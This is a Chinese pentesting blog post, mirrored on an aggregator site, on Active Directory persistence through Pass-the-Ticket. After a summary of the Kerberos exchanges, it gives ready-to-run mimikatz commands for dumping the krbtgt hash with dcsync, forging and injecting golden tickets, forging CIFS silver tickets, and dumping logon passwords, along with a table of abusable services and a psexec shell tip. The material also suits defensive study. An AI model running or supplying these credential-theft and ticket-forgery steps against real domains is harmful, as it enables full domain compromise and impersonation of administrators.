zoukankan      html  css  js  c++  java
  • 域权限维持:Ptt(Pass The Ticket)

    更新:2020_01_23

    Kerberos协议传送门:https://www.cnblogs.com/zpchcbd/p/11707302.html

    Kerberos简述:

    Client和AS进行的步骤

    KRB_AS_REQ(请求):
    
    Client->AS:Client 先向 KDC 的 AS 发送 Authenticator1(内容为Client hash加密的时间戳)
    
    KRB_AS_REP(应答):
    
    AS-> Client:AS根据用户名在AD中寻找是否在白名单中,然后根据用户名提取到对应的NTLM Hash,然后会生成一个随机数session key,然后返回给Client由Client的ntlm hash加密的session key作为AS数据,再返回TGT(使用KDC中krbtgt的NTLM Hash加密session key和客户端的信息,客户端的信息里面包含了时间戳等信息)
    
    AS验证的简述:在 KDC(AD) 中存储了域中所有用户的密码 HASH,当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。
    验证成功后返回给 Client两个东西,一个是由 Client 密码 HASH 加密的 session key 和 TGT(由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息)。
    

    Client和TGS进行的步骤

    TheTicket-Granting Service (TGS) Exchange
    
    KRB_TGS_REQ(请求):
    
    Client 接收到了加密后的session key-as 和 TGT 之后,先用自身密码 HASH解密得到session key ,TGT 是由 KDC 中KRBTGT的HASH加密,所以Client 无法解密。这时 Client 再用session key加密的TimeStamp,然后再和TGT 一起发送给 KDC 中的 TGS(TicketGranting Server)票据授权服务器换取能够访问 Server 的票据。
    
    KRB_TGS_REP(应答):
    
    TGS 收到 Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT的HASH解密 TGT。
    
    一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。
    
    验证成功之后将返回Client两个东西,一个是用 session key 加密的 session key-tgs ,然后另一个是 Client要访问的Server的密码 HASH 加密的 session key-tgs(前面和session key加密生成的) 生成就是ST(TGS)
    

    1、黄金票据:TGT是由KDC的密钥生成的,其实域中每个用户的TGT都是由krbtgt的密码Hash来计算生成的,因此只要黑客拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器。使用krbtgt用户hash生成的票据被称为黄金票据 (Golden Ticket)

    个人理解:
    伪造TGT的过程发生在Authentication Service中,也就是AS里面,以上简述就可以发现当Client把TGT发送给TGS的时候,TGT 是由 KDC 中KRBTGT的HASH加密,而在TGS中只对TGT进行解密 而不验证,自然我们也就可以进行任意用户的伪造了!
    利用条件:
    1、域控中krbtgt账户NTLM密码哈希
    2、域中的sid值
    3、一台域机器的权限

    步骤:

    1.得到域控的krbtgt的ntlm hash值:

    运行mimikatz再lsadump::dcsync /domain:top.pentest.top /user:krbtgt"

    mimikatz一次性操作的命令
    mimikatz.exe privilege::debug "lsadump::dcsync /domain:top.pentest.top /user:krbtgt" exit >> log.txt

    2.找一台域内主机 获取其中的sid:

    注:获取的sid中不需要末尾的4个数字1128 那只是账号的标识符 比如administrator后面为500

    一次性步骤:mimikatz.exe "kerberos::golden /user:administrator /domain:top.pentest.top /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ptt" exit

    多次步骤:

    mimikatz # kerberos::purge
    mimikatz # kerberos::golden /admin:Administrator /domain:pentstlab.com /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ticket:Administrator.kiribi
    mimikatz # kerberos::ptt Administrator.kiribi
    mimikatz # kerberos::tgt
    

    参数解析:

    kerberos::golden:创建黄金票据
    user:administrator伪造的用户
    domain域名:top.pentest.top
    sid:id域中sid
    krbtft:hash在域控中导出的hash
    ppt:将伪造的票据插入到内存中以供使用
    

    3.获取域控主机名字:

    4.进行认证:

    提示:这里我们可以直接利用psexec进行反弹shell,例如psexec /accepteula \ip -s cmd

    总结:
    1: 域成员机不能为03与xp及以下 否则mimikatz导入票据时会出错
    2: 最后连接为域控计算机全名 不能为IP地址


    2、白银票据:是伪造Kerberos票证授予服务(TGS)的票,也称为服务票据

    KRB_TGS_REP(应答)中,如果验证成功之后将返回Client两个东西,一个是用 session key 加密的 session key-tgs ,然后另一个是 Client要访问的Server的密码 HASH 加密的 session key-tgs(前面和session key加密生成的) 生成就是ST(TGS)

    那么如果我们知道了Server的密码hash,就能利用此HASH生成白银票据,这中间与域控制器没有通信,即没有AS-REQ 、AS-REP、TGS-REQ、TGSREP过程,只在应用服务端才会有相应日志,这段话是从《内网针对AD域的攻击方法》中复制的,同样的自己也有疑问:如果AS-REQ和AS-REP都没有的话,那么session key如何产生的呢?因为自己的理解是白银票据伪造的TGS同样是需要session key来进行支撑的,如果没有session key就没有session key-as,也不会进行到后面生成session key-tgs,以后自己理解了再写上去吧!

    步骤:

    域控08r2 ip:192.168.117.3
    域机器 ip:192.168.117.99

    1、读取域控08r2的administrator域管的ntlm

    mimikatz.exe "log" "privilege::debug" "sekurlsa::logonPasswords" exit

    2、在域机器上创建白银票据

    格式为kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

    注意:sid获取的时候不需要用户的标识符,也就是最后横杆后面的数字

    可利用的服务类型有如下:

    服务注释	                                        服务名
    WMI	                                        HOST、RPCSS
    Powershell Remoteing	                        HOST、HTTP
    WinRM	                                        HOST、HTTP
    Scheduled Tasks	                                HOST
    LDAP 、DCSync	                                LDAP
    Windows File Share (CIFS)	                CIFS
    Windows Remote ServerAdministration Tools	RPCSS、LDAP、CIFS
    

    mimikatz.exe "kerberos::golden /domain:pentest.God /sid:S-1-5-21-1467757927-669280065-2619195215 /target:WIN-CKT0M35R6UO /service:CIFS /rc4:044dfa0c35b979ed369f7335b5ea20e0 /user:administrator /ptt" exit

    总结:

    1.不需要与KDC进行交互

    2.需要Server的NTLM hash作为支撑


    3、MS16-068

    这个之前自己记录过,可以参考 https://www.cnblogs.com/zpchcbd/p/12114835.html

  • 相关阅读:
    【转】 Pro Android学习笔记(四十):Fragment(5):适应不同屏幕或排版
    【转】 Pro Android学习笔记(三九):Fragment(4):基础小例子-续
    【转】MEAN:Nodejs+express+angularjs+mongodb搭建前端项目框架NJBlog
    handlebars中的partial
    jquery源码分析
    数据库:MySQL索引背后的数据结构及算法原理【转】
    nginx做rails项目web服务器缓存配置方法
    浏览器刷新的三种方式
    【转】火狐浏览器中firebug插件的时间线域解释
    Rails:rails链接多个数据库【转】
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/11730099.html
Copyright © 2011-2022 走看看